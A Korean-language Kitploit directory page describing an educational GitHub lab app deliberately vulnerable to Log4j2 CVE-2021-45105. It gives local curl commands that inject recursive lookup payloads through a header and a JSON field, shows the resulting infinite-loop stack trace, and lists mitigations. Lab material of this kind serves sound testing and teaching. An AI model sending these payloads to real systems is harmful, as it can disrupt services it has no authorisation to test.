Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-CVE-2021-45105 — Sample Spring Boot 웹 애플리케이션으로 Log4j2 CVE-2021-45105에 취약하며, 보안 테스트 및 교육을 위한 공격 단계와 대응 가이드가 문서화되어 있습니다. | Kitploit
도구/GitHubGitHub/pravin-pp/log4j2-cve-2021-45105
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpravin-pp/log4j2-cve-2021-45105

log4j2-CVE-2021-45105

Sample Spring Boot 웹 애플리케이션으로 Log4j2 CVE-2021-45105에 취약하며, 보안 테스트 및 교육을 위한 공격 단계와 대응 가이드가 문서화되어 있습니다.

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

샘플 Log4j2 취약 애플리케이션 (CVE-2021-45105)

영향받는 버전: 2.0-beta9부터 2.16.0까지의 모든 버전

이 애플리케이션은 CVE-2021-45105에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.

Log4j 2.16.0을 사용합니다.

애플리케이션 실행

실행 방법:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

익스플로잇 단계

  • 그런 다음, 다음을 사용하여 익스플로잇을 트리거합니다:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 출력에 무한 루프가 표시되지만, 테스트 시 이 무한 루프가 프로그램에 의해 식별되어 오류가 발생하면서 리소스를 많이 소모하는 DOS는 아닌 것으로 확인되었습니다:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

완화 조치 :

Java 8 (이상) 사용자는 릴리스 2.17.0으로 업그레이드해야 합니다.

또는, 구성에서 완화할 수 있습니다:

로깅 구성의 PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 컨텍스트 조회를 스레드 컨텍스트 맵 패턴(%X, %mdc 또는 %MDC)으로 대체하십시오. 그렇지 않으면, 구성에서 HTTP 헤더 또는 사용자 입력과 같이 애플리케이션 외부 소스에서 비롯된 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 컨텍스트 조회에 대한 참조를 제거하십시오.

도구 다운로드